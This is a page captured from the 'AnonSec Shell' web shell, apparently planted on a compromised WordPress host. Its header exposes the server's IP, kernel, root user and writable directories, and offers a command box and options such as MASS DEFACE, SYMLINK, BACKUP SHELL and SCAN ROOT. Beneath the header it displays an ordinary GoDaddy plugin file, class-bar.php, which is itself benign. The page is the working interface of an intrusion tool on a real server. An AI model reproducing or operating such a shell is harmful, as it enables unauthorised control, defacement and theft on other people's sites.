AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 52.15.219.15   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/mu-plugins/gd-system-plugin/includes/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/mu-plugins/gd-system-plugin/includes/admin/class-bar.php
<?php

namespace WPaaS\Admin;

use WPaaS\Auto_Updates;
use \WPaaS\Cache_V2;
use \WPaaS\Plugin;

if ( ! defined( 'ABSPATH' ) ) {

	exit;

}

final class Bar {

	/**
	 * Admin bar object.
	 *
	 * @var WP_Admin_Bar
	 */
	private $admin_bar;

	/**
	 * Class constructor.
	 */
	public function __construct() {

		add_action( 'init', [ $this, 'init' ] );

		/**
		 * Initialize NextGen filters.
		 */
		add_filter( 'nextgen_admin_links', [ $this, 'filter_site_link' ], 10, 1 );

	}

	/**
	 * Filter the admin links used for NextGen Logo-Menu.
	 *
	 * @param array $links associative array of name => 'link'.
	 *
	 * @return array
	 */
	public function filter_site_link( $links ) {

		return array_merge(
			$links,
			array(
				'overview'     => esc_url( Plugin::account_url( 'overview' ) ),
				'settings'     => esc_url( Plugin::account_url( 'settings' ) ),
				'changeDomain' => esc_url( Plugin::account_url( 'changedomain' ) ),
				'flush'        => current_user_can( Cache_V2::$cap ) ? Cache_V2::get_flush_url() : '',
			)
		);

	}

	/**
	 * Initialize the script.
	 *
	 * @action init
	 */
	public function init() {

		/**
		 * Filter the user cap required to view the admin bar menu.
		 *
		 * @since 2.0.0
		 *
		 * @var string
		 */
		$cap = (string) apply_filters( 'wpaas_admin_bar_cap', 'activate_plugins' );

		if ( ! current_user_can( $cap ) ) {

			return;

		}

		add_action( 'admin_bar_menu', [ $this, 'admin_bar_menu' ], PHP_INT_MAX );
		add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_scripts' ] );
		add_action( 'wp_enqueue_scripts', [ $this, 'enqueue_scripts' ] );

	}

	/**
	 * Admin bar menu.
	 *
	 * @action admin_bar_menu
	 *
	 * @param \WP_Admin_Bar $admin_bar
	 */
	public function admin_bar_menu( \WP_Admin_Bar $admin_bar ) {

		$this->admin_bar = $admin_bar;

		$menus = [
			'gd' => 'gd_menu',
			'mt' => 'mt_menu',
		];

		$menu = Plugin::use_brand_value( $menus, 'reseller_menu' );

		if ( is_callable( [ $this, $menu ] ) ) {

			$this->$menu();

		}

	}

	/**
	 * Enqueue styles.
	 *
	 * @action admin_enqueue_scripts
	 * @action wp_enqueue_scripts
	 */
	public function enqueue_scripts() {

		$rtl    = ! is_rtl() ? '' : '-rtl';
		$suffix = SCRIPT_DEBUG ? '' : '.min';

		wp_enqueue_style( 'wpaas-admin-bar', Plugin::assets_url( "css/admin-bar{$rtl}{$suffix}.css" ), [], Plugin::version() );

	}

	/**
	 * Return the subdomain to use for the help docs
	 *
	 * @return string Help documents subdomain
	 */
	private function get_help_docs_url() {

		$language  = get_option( 'WPLANG', 'www' );
		$parts     = explode( '_', $language );
		$subdomain = ! empty( $parts[1] ) ? strtolower( $parts[1] ) : strtolower( $language );

		// Overrides
		switch ( $subdomain ) {

			case '':
				$subdomain = 'www'; // Default
				break;

			case 'uk':
				$subdomain = 'ua'; // Ukrainian (Українська)
				break;

			case 'el':
				$subdomain = 'gr'; // Greek (Ελληνικά)
				break;

			case 'gb':
				$subdomain = 'uk'; // United Kingdom
				break;

		}

		/**
		 * Filter the help documentation URL.
		 *
		 * @since 3.11.2
		 *
		 * @var string
		 */
		$url = (string) apply_filters( 'wpaas_help_docs_url', "https://{$subdomain}.godaddy.com/help/wordpress-1000047", $subdomain, $language );

		return esc_url( $url );

	}

	/**
	 * GoDaddy admin menu.
	 */
	private function gd_menu() {

		$this->top_level_menu_item( __( 'GoDaddy Quick Links', 'gd-system-plugin' ), 'gd' );
		$this->hosting_overview_menu_item();
		$this->hosting_settings_menu_item();
		$this->help_and_support_menu_item();
		$this->flush_cache_menu_item();
		$this->enable_auto_updates_menu_item();
		$this->pro_connection_key_menu_item();

		global $submenu;

		if ( empty( $submenu['godaddy'] ) ) {

			return;

		}

		foreach ( $submenu['godaddy'] as $item ) {

			parse_str( $item[2], $var );

			$this->admin_bar->add_menu(
				[
					'parent' => 'wpaas',
					'id'     => 'wpaas-' . sanitize_title( ! empty( $var['tab'] ) ? $var['tab'] : $item[2] ),
					'href'   => $item[2],
					'title'  => $item[0],
				]
			);

		}

	}

	/**
	 * Media Temple admin menu.
	 */
	private function mt_menu() {

		$this->top_level_menu_item( __( 'Managed WordPress', 'gd-system-plugin' ), 'mt' );
		$this->hosting_settings_menu_item();
		$this->flush_cache_menu_item();

	}

	/**
	 * Reseller admin menu.
	 */
	private function reseller_menu() {

		$this->top_level_menu_item( __( 'Managed WordPress', 'gd-system-plugin' ), 'reseller' );
		$this->hosting_overview_menu_item();
		$this->hosting_settings_menu_item();
		$this->flush_cache_menu_item();
		$this->pro_connection_key_menu_item();

	}

	/**
	 * Top-level menu item.
	 *
	 * @param string $label
	 * @param string $icon
	 */
	private function top_level_menu_item( $label, $brand ) {

		switch ( $brand ) {
			default:
			case 'reseller':
			case 'mt':
				$icon = '<span class="ab-icon dashicons dashicons-admin-generic"></span><span class="ab-label">%s</span>';
				break;

			case 'gd':
				$icon = '<span class="ab-icon svg gd-wpaas" style="background-image: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjciIGhlaWdodD0iMjQiIHZpZXdCb3g9IjAgMCAyNyAyNCIgZmlsbD0iI2E3YWFhZCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHBhdGggZD0iTTIzLjI4OTggMS4wOTU3OUMyMC40ODM5IC0wLjY1MDk2MSAxNi43ODk4IC0wLjIzODU1MSAxMy40OTUyIDEuODI5MjFDMTAuMjEwOSAtMC4yMzc0MDggNi41MTQ1OCAtMC42NTA5NjEgMy43MTIwMyAxLjA5NTc5Qy0wLjcyMTI0NSAzLjg2MTU3IC0xLjI2MDI0IDEwLjk4NTYgMi41MDkzIDE3LjAwNjJDNS4yODc4MiAyMS40NDY3IDkuNjMyOTggMjQuMDQ2OCAxMy41MDA5IDIzLjk5ODlDMTcuMzY4OSAyNC4wNDY4IDIxLjcxNDEgMjEuNDQ2NyAyNC40OTI2IDE3LjAwNjJDMjguMjU3NSAxMC45ODU2IDI3LjcyMzEgMy44NjE1NyAyMy4yODk4IDEuMDk1NzlaTTQuNTQ3NDIgMTUuNzM1OEMzLjc2OTk0IDE0LjUwNTQgMy4xODM0OCAxMy4xNjQ3IDIuODA3OTggMTEuNzU5MUMyLjQ3NDEgMTAuNTM5MyAyLjM0NjQ3IDkuMjcyNSAyLjQzMDM0IDguMDEwODFDMi41OTg1NiA1Ljc4NjUzIDMuNTA2MDQgNC4wNTM0OSA0Ljk4NDU3IDMuMTMwNDJDNi40NjMwOSAyLjIwNzM1IDguNDE3NjYgMi4xNTM2NiAxMC40OTkzIDIuOTc3MzRDMTAuODE1NyAzLjEwNDM3IDExLjEyNTQgMy4yNDczNiAxMS40MjczIDMuNDA1NzRDMTAuMjcwMyA0LjQ1OCA5LjI2NDQ4IDUuNjY0NzQgOC40MzgyNiA2Ljk5MTc3QzYuMTQ5NTMgMTAuNjQ3NSA1LjQ1MTQ3IDE0LjcxNjggNi4yNTAyMyAxNy45NTg5QzUuNjEzOTEgMTcuMjcyOSA1LjA0Mzc4IDE2LjUyODYgNC41NDc0MiAxNS43MzU4Wk0yNC4xOTUgMTEuNzU5MUMyMy44MTkgMTMuMTY0NSAyMy4yMzI2IDE0LjUwNTIgMjIuNDU1NiAxNS43MzU4QzIxLjk1OTQgMTYuNTMwMiAyMS4zODkzIDE3LjI3NiAyMC43NTI4IDE3Ljk2MzVDMjEuNDY2OSAxNS4wNTYxIDIwLjk4MTcgMTEuNDk1MiAxOS4yMzA4IDguMTU0NzVDMTkuMjAzMSA4LjA5OTUxIDE5LjE2NCA4LjA1MDcyIDE5LjExNjEgOC4wMTE1N0MxOS4wNjgyIDcuOTcyNDEgMTkuMDEyNiA3Ljk0Mzc2IDE4Ljk1MjkgNy45Mjc0OEMxOC44OTMyIDcuOTExMjEgMTguODMwOCA3LjkwNzY3IDE4Ljc2OTYgNy45MTcxMUMxOC43MDg0IDcuOTI2NTQgMTguNjQ5OSA3Ljk0ODc0IDE4LjU5NzkgNy45ODIyNUwxMy4xMzkzIDExLjM4NzhDMTMuMDg5NiAxMS40MTg3IDEzLjA0NjQgMTEuNDU5MSAxMy4wMTIzIDExLjUwNjdDMTIuOTc4MyAxMS41NTQzIDEyLjk1NCAxMS42MDgxIDEyLjk0MDggMTEuNjY1MUMxMi45Mjc2IDExLjcyMjEgMTIuOTI1OCAxMS43ODExIDEyLjkzNTUgMTEuODM4OEMxMi45NDUyIDExLjg5NjUgMTIuOTY2MyAxMS45NTE3IDEyLjk5NzQgMTIuMDAxMkwxMy43OTg1IDEzLjI3OTZDMTMuODI5NCAxMy4zMjkzIDEzLjg2OTkgMTMuMzcyMyAxMy45MTc2IDEzLjQwNjRDMTMuOTY1MiAxMy40NDA0IDE0LjAxOTIgMTMuNDY0NyAxNC4wNzYzIDEzLjQ3NzhDMTQuMTMzNCAxMy40OTEgMTQuMTkyNSAxMy40OTI4IDE0LjI1MDMgMTMuNDgzMUMxNC4zMDgxIDEzLjQ3MzQgMTQuMzYzNCAxMy40NTI0IDE0LjQxMyAxMy40MjEzTDE3Ljk1MTQgMTEuMjE1M0MxOC4wNjU4IDExLjU1OCAxOC4xODAzIDExLjg5NSAxOC4yNjYxIDEyLjI0MzRDMTguNTk5OSAxMy40NjMyIDE4LjcyNzUgMTQuNzMgMTguNjQzNyAxNS45OTE3QzE4LjQ3NTUgMTguMjE3MSAxNy41NjggMTkuOTUwMSAxNi4wODk1IDIwLjg3MzJDMTUuMzI2OSAyMS4zMzg3IDE0LjQ1MzEgMjEuNTkxMiAxMy41NTkzIDIxLjYwNDRIMTMuNDQ0OUMxMi41NTExIDIxLjU5MTUgMTEuNjc3MiAyMS4zMzg5IDEwLjkxNDcgMjAuODczMkM5LjQzNSAxOS45NTAxIDguNTI3NTIgMTguMjE3MSA4LjM1OTMgMTUuOTkxN0M4LjI3NjExIDE0LjczIDguNDAzNzMgMTMuNDYzMyA4LjczNjk0IDEyLjI0MzRDOS41MDQyNyA5LjQyMTc1IDExLjA4OTYgNi44ODkyNyAxMy4yOTM4IDQuOTYzOTlDMTQuMjQ0NSA0LjEzMDYgMTUuMzI3MyAzLjQ2MDc3IDE2LjQ5OCAyLjk4MTkxQzE4LjU3MzkgMi4xNTgyMyAyMC41MzE5IDIuMjExOTIgMjIuMDExNiAzLjEzNDk5QzIzLjQ5MTMgNC4wNTgwNiAyNC4zOTc2IDUuNzkxMSAyNC41NjU4IDguMDE1MzhDMjQuNjUwOSA5LjI3NTE2IDI0LjUyNTYgMTAuNTQwMyAyNC4xOTUgMTEuNzU5MVoiIGZpbGw9IiNhN2FhYWQiLz4KPC9zdmc+Cg==) !important;"></span><span class="ab-label">%s</span>';
		}

		$managed_wordpress = [
			'id'     => 'wpaas',
			'title'  => sprintf(
				$icon, // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
				esc_html( $label )
			),
		];

		$this->admin_bar->add_menu( $managed_wordpress );

	}

	/**
	 * Flush Cache menu item.
	 */
	private function flush_cache_menu_item() {

		if ( ! current_user_can( Cache_V2::$cap ) ) {

			return;

		}

		$this->admin_bar->add_menu(
			[
				'parent' => 'wpaas',
				'id'     => 'wpaas-flush-cache',
				'title'  => __( 'Flush Cache', 'gd-system-plugin' ),
				'href'   => Cache_V2::get_flush_url(),
			]
		);

	}

	/**
	 * Hosting Overview menu item.
	 */
	private function hosting_overview_menu_item() {


		$this->admin_bar->add_menu(
			[
				'parent' => 'wpaas',
				'id'     => 'wpaas-overview',
				'href'   => esc_url( Plugin::account_url( 'overview' ) ),
				'title'  => sprintf(
					'%s <span class="dashicons dashicons-external"></span>',
					Plugin::is_gd() ? __( 'Back to GoDaddy', 'gd-system-plugin' ) : __( 'Hosting Overview', 'gd-system-plugin' )
				),
				'meta'   => [
					'target' => '_blank',
				],
			]
		);

	}

	/**
	 * Hosting Settings menu item.
	 */
	private function hosting_settings_menu_item() {

		$this->admin_bar->add_menu(
			[
				'parent' => 'wpaas',
				'id'     => 'wpaas-settings',
				'href'   => esc_url( Plugin::account_url( 'settings' ) ),
				'title'  => sprintf(
					'%s <span class="dashicons dashicons-external"></span>',
					__( 'Manage Hosting', 'gd-system-plugin' )
				),
				'meta'   => [
					'target' => '_blank',
				],
			]
		);

	}

	/**
	 * Connection Management API key modal menu item.
	 */
	private function pro_connection_key_menu_item() {

		if ( ! is_admin() || filter_input( INPUT_GET, 'showWorker' ) || ! function_exists( 'mwp_get_potential_key' ) ) {

			return;

		}

		$this->admin_bar->add_menu(
			[
				'parent' => 'wpaas',
				'id'     => 'wpaas-pro-connection-key',
				'href'   => '#',
				'title'  => sprintf(
					'<span id="mwp-view-connection-key" class="wp-admin-bar-wpaas-pro-connection-key">%s</span>',
					__( 'Connection Management', 'gd-system-plugin' )
				),
			]
		);

	}

	/**
	 * Help & Support menu item
	 */
	private function help_and_support_menu_item() {

		if ( ! is_admin() ) {

			return;

		}

		$this->admin_bar->add_menu(
			[
				'parent' => 'wpaas',
				'id'     => 'wpaas-help-and-support',
				'href'   => $this->get_help_docs_url(),
				'title'  => sprintf(
					'%s <span class="dashicons dashicons-external"></span>',
					__( 'WordPress Help', 'gd-system-plugin' )
				),
				'meta'   => [
					'target' => '_blank',
				],
			]
		);

	}

	/**
	 * Enable auto updates for plugins and themes menu item
	 */
	private function enable_auto_updates_menu_item() {

		if ( ! is_admin() ) {

			return;

		}

		$auto_updates_status = get_option( 'mwp_auto_updates_status', 'disabled' );

		$this->admin_bar->add_menu(
			[
				'parent' => 'wpaas',
				'id'     => 'wpaas-enable-auto-updates',
				'href'   => Auto_Updates::get_toggle_auto_update_url( $auto_updates_status ),
				'title'  => $auto_updates_status === 'disabled' ? __( 'Enable auto-updates', 'gd-system-plugin' ) : __( 'Disable auto-updates', 'gd-system-plugin' ),
			]
		);

	}

}

Anon7 - 2022
AnonSec Team